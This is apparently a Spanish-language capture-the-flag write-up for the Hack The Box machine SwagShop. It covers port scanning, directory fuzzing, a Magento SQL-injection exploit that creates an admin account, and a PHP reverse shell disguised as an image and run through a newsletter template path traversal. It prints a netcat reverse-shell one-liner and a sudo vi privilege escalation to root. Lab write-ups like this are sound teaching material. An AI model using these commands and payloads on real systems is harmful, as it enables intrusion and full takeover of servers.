Hack The Box - SwagShop
hackthebox.com - Acceso VIP - 10.10.10.140
Por artp3r - (Rules: OSCP)
Idioma: 🇪🇸
Objetivo: https://app.hackthebox.com/machines/SwagShop
sudo nmap -sS -p- --open -n -Pn -vvv --min-rate 5000 -oA allPorts 10.10.10.140
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-11 09:15 EDT
Initiating SYN Stealth Scan at 09:15
Scanning 10.10.10.140 [65535 ports]
Discovered open port 22/tcp on 10.10.10.140
Discovered open port 80/tcp on 10.10.10.140
Completed SYN Stealth Scan at 09:15, 12.61s elapsed (65535 total ports)
Nmap scan report for 10.10.10.140
Host is up, received user-set (0.069s latency).
Scanned at 2023-06-11 09:15:39 EDT for 13s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds
Raw packets sent: 65585 (2.886MB) | Rcvd: 65585 (2.623MB)
Script para trabajar con los puertos del output grepeable de nmap.
https://s4vitar.github.io/bspwm-configuration-files/
Requires xclip packet.
sudo apt install xclip
Script que se añade al final de .zshrc
# Extract nmap information
function extractPorts(){
ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)"
echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
echo $ports | tr -d '\n' | xclip -sel clip
echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
cat extractPorts.tmp; rm extractPorts.tmp
}
Una vez incluído al final de .zshrc hay que reiniciar el terminal.
extractPorts allPorts
Y ya se pueden pegar desde el portapapeles directamente los puertos en el siguiente scan de nmap.
nmap -sCV -p 22,80 -oN targeted 10.10.11.211
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-11 09:23 EDT
Nmap scan report for 10.10.10.140
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds
whatweb http://10.10.10.140/
Antes hay que añadir la ip y el dominio indicado por nmap a /etc/hosts
http://10.10.10.140/ [302 Found] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.140], RedirectLocation[http://swagshop.htb/]
http://swagshop.htb/ [200 OK] Apache[2.4.18], Cookies[frontend], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], HttpOnly[frontend], IP[10.10.10.140], JQuery[1.10.2], Magento, Modernizr, Prototype, Script[text/javascript], Scriptaculous, Title[Home page], X-Frame-Options[SAMEORIGIN]
JQuery 1.10.2, versión antigua. Posible vulnerabilidad XSS (Prototype Pollution).
http://swagshop.htb
http://swagshop.htb/index.php/
wfuzz -c --hc=404 -t 50 -w /media/artp3r/ARTP3R/Herramientas/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://swagshop.htb/FUZZ
000000080: 301 9 L 28 W 312 Ch "media"
…
000000004: 200 327 L 904 W 16283 Ch "#"
000000638: 301 9 L 28 W 315 Ch "includes"
000000721: 301 9 L 28 W 310 Ch "lib"
000000909: 301 9 L 28 W 310 Ch "app"
000000953: 301 9 L 28 W 309 Ch "js"
000001688: 301 9 L 28 W 312 Ch "shell"
000001846: 301 9 L 28 W 311 Ch "skin"
000004703: 301 9 L 28 W 310 Ch "var"
000005708: 301 9 L 28 W 313 Ch "errors"
000045240: 200 327 L 904 W 16283 Ch "http://swagshop.htb/"
000049195: 200 54 L 155 W 1319 Ch "mage"
000095524: 403 11 L 32 W 300 Ch "server-status"
http://swagshop.htb/shell/
https://github.com/OpenMage/magento-lts/tree/main/shell
Parece llamativo pero son ficheros de código normales de Magento.
Repito fuzzing para el subdirectorio index.php
wfuzz -c --hc=404 -t 50 -w /media/artp3r/ARTP3R/Herramientas/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://swagshop.htb/index.php/FUZZ
000000124: 200 327 L 904 W 16283 Ch "0"
000000227: 200 327 L 852 W 15290 Ch "contacts"
000000242: 302 0 L 0 W 0 Ch "catalog"
000000259: 200 51 L 211 W 3609 Ch "admin"
000000286: 200 327 L 904 W 16281 Ch "Home"
000000685: 200 0 L 0 W 0 Ch "core"
000000715: 302 0 L 0 W 0 Ch "install"
000000840: 200 327 L 904 W 16283 Ch "cms"
000001026: 200 7 L 13 W 361 Ch "api"
000001702: 302 0 L 0 W 0 Ch "checkout"
000002202: 302 0 L 0 W 0 Ch "wishlist"
000012158: 200 327 L 904 W 16281 Ch "HOME"
000014124: 200 371 L 1509 W 19491 Ch "customer-service"
000018775: 503 42 L 137 W 1852 Ch "registrazione"
000025992: 200 371 L 1509 W 19491 Ch "Customer-Service"
http://swagshop.htb/index.php/admin
Probadas credenciales por defecto admin:123123 y otras débiles.
Es posible escribir un fichero para hacer fuzzing en este panel pero primero es más sencillo buscar exploits.
searchsploit magento
searchsploit -m xml/webapps/37977.py
mv 37977.py exploit_rce_magento.py
Requiere editarlo, limpiar cadenas sin comentar y configurar parámetros para nuestra intrusión.
Aparentemente basa el exploit en una inyección SQL. Lo ejecutamos.
Da un error en la variable pfilter que se procesa como una cadena y necesita pasarse a bytes.
Después de hacer esta y otras correcciones funciona.
Y el usuario se ha creado aparentemente bien, por que nos permite el acceso desde el panel de seguridad.
Está bien documentado en internet con una simple búsqueda, por ejemplo:
https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper
Como en otros ataques LFI +RCE es necesario subir un fichero PHP malicioso camuflado como JPG o PNG. Desde el panel no se podrá renombrar luego a php pero existe una opción de hacerlo a través de la funcionalidad de Newsletters, que permite la creación mediante plantillas, que sí son interpretadas por Magento. Para ello requiere permitir los enlaces simbólicos. Esto se puede cambiar desde el panel.
Menú > System > Configuration > AVANCED (grupo) > Developers > Template Settings > Allow Symlinks = Yes
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Y para preparar el script en bash hay varios en pentest monkey, pero el que funciona es este:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 443 >/tmp/f
Desglose y explicación del one liner de bash por su interés. Lo remarco como líneas de comandos.
Ahora solo hay que hacer una copia como un jpg.
cp reverseshell.php reverseshell.php.jpg
Y para subirlo la opción más sencilla sería recurrir en el panel a las categorías, para las que se puede subir una imagen.
Menu > Catalog > Manage Categories
Nombre test111. Guardar categoría. Y ya tenemos el enlace a la imagen.
http://swagshop.htb/media/catalog/category/reverseshell.php.jpg
Según se puede leer en el artículo de Ewan Gardner, para interpretarlo se necesita utilizar el código del lector de plantillas.
Así que para que la vulnerabilidad funcione necesitamos crear una plantilla con este código y la ubicación del fichero malicioso que hemos subido.
Menú > Newsletter > Templates > [Add New Template]
Añadiendo al cuadro ‘Template Content’ nuestro código, procurando evitar el editor de texto, que de otra forma añadiría marcas y código innecesario que puede impedir la ejecución del payload.
{{block type=’core/template’ template=’../../../../../../media/catalog/category/reverseshell.php.jpg’}}
Con comillas simples no funciona, quizá por que el editor las convierte, como aquí.
Y darle a guardar. Antes de darle a preview tenemos que abrir un Netcat a este lado.
nc -nvlp 443
Al darle a Preview en el editor de templates, previo guardado del código ya estamos dentro de la máquina a nivel sistema operativo.
Antes de seguir conviene hacer leves mejoras en el shell, para mayor estabilidad.
script /dev/null -c bash
[Ctrl + Z]
stty size
stty raw -echo; fg
reset xterm
export SHELL=bash && export TERM=xterm && stty rows 25 columns 105
ls /home
cat /home/haris/user.txt
sudo -l
Vi es un editor de texto para terminal anterior al actual y más popular Vim. Se puede ejecutar sudo vi como root sin necesidad de identificarse en la carpeta raíz de la web. Por ejemplo:
sudo vi /var/www/html/pwn
Y en vi se puede aprovechar una característica con la que se puede ejecutar un binario introduciendo la ruta en una variable cualquiera con el comando set.
[Esc]
:set shell=/bin/bash
:shell
pwned